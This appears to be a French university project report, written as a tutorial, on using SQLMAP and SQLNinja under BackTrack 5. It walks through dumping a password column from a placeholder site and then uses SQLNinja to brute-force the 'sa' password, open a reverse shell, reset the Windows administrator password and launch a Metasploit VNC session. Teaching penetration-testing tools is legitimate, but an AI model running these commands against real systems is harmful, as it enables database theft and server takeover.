SQLMAP, SQL Ninja - belkhir.nacim.free.frbelkhir.nacim.free.fr/.../sqlmap_sqlninja/... · SQLMAP,...

17
SQLMAP, SQL Ninja 1 Master 2 – Réseaux, Image, Parole – filière « Réseaux » Année 2010-11 Projet Sécurité des réseaux et des contenus multimédia Thème : SQLMAP, SQL Ninja Réalisé par ZERARI Khoudir Enseignante : Mr Osman Salem Décembre 2011 Décembre 2011

Transcript of SQLMAP, SQL Ninja - belkhir.nacim.free.frbelkhir.nacim.free.fr/.../sqlmap_sqlninja/... · SQLMAP,...

SQLMAP, SQL Ninja

1

Master 2 – Réseaux, Image, Parole – filière « Réseaux » Année 2010-11

Projet Sécurité des réseaux et des contenus multimédia

Thème :

SQLMAP, SQL Ninja Réalisé par

• ZERARI Khoudir

Enseignante : Mr Osman Salem

Décembre 2011

Décembre 2011

SQLMAP, SQL Ninja

2

Table des matières

1. Introduction 2. C’est quoi injection SQL. 3. SQLMAP

3.1. Présentation 3.2. Besoins 3.3. Scénario

4. SQL NINJA 4.1. Présentation 4.2. Scénario

SQLMAP, SQL Ninja

3

1. Introduction

Ce tutoriel va porter sur SQLMAP et SQL Ninja sous BackTrack 5, avant d'aller dans le vif du sujet nous allons comprendre ce qu'est BackTrack.

BackTrack est une distribution Linux, apparue en janvier 2010. Elle est née de la fusion de Whax et Auditor. Son objectif est de fournir une distribution regroupant l'ensemble des outils nécessaires aux tests de sécurité d'un réseau appeler Pentesting. BackTrack utilise KDE et Gnome comme environnement, supporte plusieurs langage de claviers par simple clic (le français s'obtient en sept clics sur le drapeau de la barre KDE), et contient de nombreux outils permettant d'effectuer des tests de sécurité (près de 300). Elle vise à aborder tous les domaines liés aux sécurités modernes. De l'audit réseau à l'analyse et l'identification de vulnérabilité, BackTrack est reconnu par les professionnels de la sécurité informatique comme outil complet. Elle est favorablement connue et utilisée à des fins d'audit de réseaux sans fil Wifi : son développement est en effet axé sur la prise en charge de cartes ou circuits wifi supportant le mode écoute Les outils regroupé (Kismet et autres) mettent en évidence le manque de fiabilité des chiffrements WEP et WPA.

Les objectifs de BackTrack :

BackTrack donne à l'utilisateur d'une distribution Linux entièrement équipée, avec tous les logiciels au dernier niveau disponible, le construire, ce n'est pas si facile et le but est de donner à l'utilisateur final un environnement complet où l'utilisateur ne doit s'inquiéter ne l'installation et les mises à jour. Si vous avez de suivre les mises à jour de tous ces logiciels alors que serait contraire au but ensemble. En revanche, le système d'exploitation BackTrack seront les mettre à jour pour vous chaque fois qu'il ya une nouvelle version disponible. BackTrack inclut beaucoup de bien connu de la sécurité des outils, notamment: • L'intégration Metasploit • RFMON pilotes d'injection sans fil capable • Kismet • Nmap • Ophcrack • Ettercap • Wireshark (anciennement connu sous le nom Ethereal) • BOEUF (Cadre d'Exploitation du navigateur) • Hydra

Etc.…

SQLMAP, SQL Ninja

4

2. C’est quoi injection SQL

Une injection SQL est une méthode d’exploitation d’une faille de sécurité liée à une base de données. Elle consiste via une application utilisant une base de données SQL à injecter une requête qui permettrait d’obtenir beaucoup d’informations allant de la version du serveur jusqu’à la base de données complète [3].

3. SQL MAP 3.1. Présentation

SQLMAP est une open source en ligne de commande automatique de l'injection SQL outil. Son objectif est de détecter et de tirer profit des vulnérabilités d'injection SQL dans les applications web. Une fois qu'il détecte une ou plusieurs injections SQL sur l'hôte cible, l'utilisateur peut choisir parmi une variété d'options pour effectuer une vaste arrière-système de base de gestion des empreintes digitales, de récupérer utilisateur de la session SGBD et bases de données, les utilisateurs énumérer, les mots de passe, privilèges, bases de données , décharge entière ou spécifiée utilisateur tables du SGBD / colonnes, gérer son propre instruction SQL, lire ou écrire du texte ou des fichiers binaires sur le système de fichiers, d'exécuter des commandes arbitraires sur le système d'exploitation, d'établir une connexion dite stateful out-of-band entre l'attaquant et le serveur base de données via stager payload Metasploit, l'exploitation de bases de données stockées débordement de tampon ou de procédure de l'attaque de relais SMB (Server Message Block) et plus encore.

3.2. Besoins

SQLMAP est développé en Python , une dynamique orientée objet langage de programmation interprété. Cela rend l'outil indépendant du système d'exploitation. Il ne nécessite que la version interpréteur Python 2 supérieur ou égal à 2,6. L'interprète est librement téléchargeable à partir de son site officiel . Pour le rendre encore plus facile, de nombreuses distributions GNU / Linux de sortir de la boîte avec interpréteur Python installé et autres systèmes Unix et Mac OSX fournissent aussi il emballé dans leurs formats et prêt à être installé. Les utilisateurs Windows peuvent télécharger et installer l'installateur Python setup-prêt pour les architectures x86, AMD64 et Itanium aussi.

Si vous êtes prêt à vous connecter directement à un serveur de base de données (-d switch), sans passer par une application Web, vous devez installer Python pour le système de gestion de base de données que vous allez à l'attaque:

• Firebird: python-kinterbasdb . • Microsoft Access: python-pyodbc .

SQLMAP, SQL Ninja

5

• Microsoft SQL Server: python-pymssql . • MySQL: python-mysqldb . • Oracle: python cx_Oracle . • PostgreSQL: python-psycopg2 . • SQLite: python-pysqlite2 . • Sybase: python-pymssql .

Si vous prévoyez d'attaquer une application Web derrière l'authentification NTLM ou utiliser la fonctionnalité de mise à jour sqlmap ( - -update commutateur), vous devez installer respectivement python-NTLM etpython-svn bibliothèques.

3.3. Scénario

Passons au vif du sujet [2] :

1 - Lancer SQLMAP Application ==> BackTrack ==>Exploitation Tools ==> SQLMAP

Une fois effectué, cliqué sur sqlmap vous devriez apercevoir ceci :

SQLMAP, SQL Ninja

6

Une fois que vous avez l'interface sqlmap lancé à la suite de root@bt:/pentest/database/sqlmap# ça

Code:

python sqlmap.py -u http://tonsite.fr/index.php?id=61 --dbs

Alors on va prendre le temps de comprendre ces commandes. Cliquer sur entré. tout d'abord prenons la signification de chaque paramètre : Python sqlmap.py cela signifie qu’il faut lancer sqlmap en python puisqu'il est codé en python reconnaissable grâce à son extension .py -u cela signifie le paramètre host , c'est à dire url que vous voulez analyser - - dbs la c'est la commande essentiel pour avancer dans ce tutoriel , ce paramètre permettra d'avoir la base de donnée.

Passons à la suite et faite enter cela va analyser les requêtes potentiellement vulnérables sur url que vous avez indiquée précédemment. Si cela est vulnérable a une faille sql, blind, sql etc... Vous devriez voir la database ou les database, si la faille est béante cela devrait aller vite

SQLMAP, SQL Ninja

7

dans le qu'a contraire attendez le résultat tout simplement, voici un aperçu :

Donc si vous comprenez et regardé bien on peut apercevoir 2 databases sous cette forme :

SQLMAP, SQL Ninja

8

maintenant nous savons que les database sont nommé geront et information_schema , donc il va falloir avoir obtenir les tables de ( exemple : geront ) afin de savoir les mots de passe des utilisateurs .Continuons dans le tutoriel , alors rappeler vous ! On avait effectué précédemment cette commande.

Code:

python sqlmap.py -u http://tonsite.fr/index.php?id=61 --dbs

Vous allez maintenant remplacer --dbs par un -D majuscule, le faite de mettre le D signifie que vous voulez rentrer dans une database précises donc suivre la procédure suivante :

Code:

python sqlmap.py -u http://tonsite.fr/index.php?id=61 -D geront --tables

--tables pour obtenir les tables de la database geront

Une fois cette ligne écrite dans le terminal faite entrer vous devriez obtenir ceci :

Le résultat :

SQLMAP, SQL Ninja

9

Une fois afficher les tables et bien comme toute procédure d'injection SQL il faut avoir les colonnes, la dans notre exemple on va prendre les colonnes de la tables compte donc nous allons effectuer cette commande :

Code:

python sqlmap.py -u http://tonsite.fr/index.php?id=61 -D geront -T compte --columns

Si vous remarqué un petit détail ! On a enlevé --tables ! Pour le remplacer par -T majuscule, et bien là c'est encore le même procédé que dans le paragraphe étudier au-dessus afin de préciser la table au quel on veut obtenir les colonnes, faite entré vous devriez voir ceci :

SQLMAP, SQL Ninja

10

Résultats

Maintenant que nous avons les colonnes de la tables comptes nous pouvons procèdes a l'extraction des données de la colonne MDP donc on va procéder comme suite :

Code:

python sqlmap.py -u http://tonsite.fr/index.php?id=61 -D geront -T compte -C mdp --dump

SQLMAP, SQL Ninja

11

là encore nous avons effectué un changement on a enlevez --columns afin de le remplacer par un C majuscule la encore on cible une colonne précise dans notre exemple c'est MDP et on a rajouter --dump, cette option permet d'extraire les données de la colonne MDP cela mettra peut être un peu de temps à extraire les données tout dépend des informations enregistrées , maintenant vous devriez voir ce ci :

Résultat

Il ne vous reste pl us qu'a décrypter c'est passe et voil a !!

SQLMAP, SQL Ninja

12

4. SQL Ninja 4.1. Présentation [4]

SQLNinja est un outil destiné à permettre l’exploitation des serveurs de base de données Microsoft, jusqu’à l’obtention d’un accès shell, à partir d’une vulnérabilité applicative de type SQL injection.

Au fur et à mesure que les applications web se généralisent et que parallèlement les infrastructures gagnent en sécurité, leurs bugs devenant de plus en plus difficiles à trouver, les vulnérabilités applicatives deviennent une cible de choix lors des tests d’intrusion. Il peut être alors particulièrement utile de pouvoir obtenir un accès complet (shell) sur un serveur de base de données à partir d’une vulnérabilité de type SQL injection.

SQLNinja vous permet d'obtenir un shell sur la base de données attaché. SQLNinja pouvez-vous faire une empreintes digitales SQL server, une attaque par force brute le mot de passe d'administrateur système, un port à balayage pour détecter les ports ouverts, tunnel via DNS ou ICMP port, Lorsque tous les ports TCP/UDP sont fermés, mais le serveur résout les noms d'hôtes externes. Sa puissance augmente encore plus lorsqu'il est utilisé avec Metasploit. Objectif Sqlninja est d'exploiter les vulnérabilités d'injection SQL sur les applications web qui utilisent Microsoft SQL Server en tant que back-end.

Il ya beaucoup d'autres outils de type injection SQL mais SQLNinja, au lieu d'extraire les données, se concentre sur l'obtention un shell interactif sur le serveur DB à distance et en l'utilisant comme un pied dans le réseau cible.

4.2. Scénario[5]

L’utilisation de SQL Ninja est tellement vaste nous nous concentrons sur 10 point essentiels :

1. Configuration du fichier de ninja : Comportements SQLNinja est contrôlé via le fichier de configuration (par défaut: SQLNinja.conf), qui raconte ce SQLNinja à l'attaque et comment (l'hôte cible, la page vulnérables, exploiter des chaînes, ...)

A. Injection du site web victime est « hoste=ww2.widget.com » B. Le port victime à utiliser pour injecter (valeur par défaut est 80)

2. Le teste de vulnérabilité du site : ./sqlninja -m test

SQLMAP, SQL Ninja

13

SQLNinja dispose actuellement de 12 modes d'attaque. Le mode d'utilisation peut être spécifié par son nom, ici c’est –m, test signifie l'utilisation en mode test pour vérifier que le code SQL est correctement injecté.

Nous remarquons que le code SQL a été injecté.

3. L'empreinte digitale du site

L’empreinte digitale sur le serveur DB à distance, en utilisant fingprint.

Code

./sql -m fingprint

Le résultat

ET on choisit All of the above

SQLMAP, SQL Ninja

14

4. brute force the ‘sa’ password

Si nécessaire, utilisez le mode brute force pour trouver le 'sa' mot de passe et escalade de privilèges, Cette méthode est utilisée lorsque une liste de mots n'est pas précisé. SQLNinja soumet un ensemble de requêtes qui tentent * TOUS * les combinaisons possibles de caractères jusqu'à une certaine longueur qui est spécifiée par l'utilisateur. L'aspect fraîcheur de cette tactique est que puisque les requêtes exécutées sur le serveur DB, la brute force est en fait réalisée à l'aide des ressources CPU de la cible.

Code

./sqlninja -m bruteforce -w /root/wireless/wordliste.txt

Résultat

nombre de processus simultanés, et nous avons choisis 10,

5. Tentative de ressusciter l'interpréteur de commandes (shell)

Utilisez cette méthode lorsque le serveur à distance DB est directement accessible sur certains ports TCP ou UDP. SQLNinja demande le port distant, le protocole, indique au serveur DB pour lier une invite de commande pour ce port, puis commence la connexion.

Code :

./sqlninja -m resurrectxp -p pinnacle

Résultat

SQLMAP, SQL Ninja

15

Ici il demande la version de SQL Server et nous choisissons 2000.

6. set xp_name to NULL in the config file remove # in the config file 7. Upload file (Importer un fichier)

Code

./sqlninja -m ipload -p pinnacle

Résultat

8. set usechurrasco to yes

./sqlninja –m revshell –p pinnacle

Voici le résultat

SQLMAP, SQL Ninja

16

Et nous choisissons le protocole TCP, on est rentré.

9. change the administrator password in commande shell net user administrator password

10. Open vnc GUI

Code

./sqlninja -m metasploit -p pinnacle

SQLMAP, SQL Ninja

17

Site web

[1] http://sqlninja.sourceforge.net/sqlninja-howto.html

[2] http://www.crack-wifi.com/forum/viewtopic.php?id=6396

[3] http://www.planet-libre.org/index.php?post_id=10179&go=external

[4] http://www.secuobs.com/news/12022007-sqlninja.shtml#contenu

[5] http://sqlninja.sourceforge.net/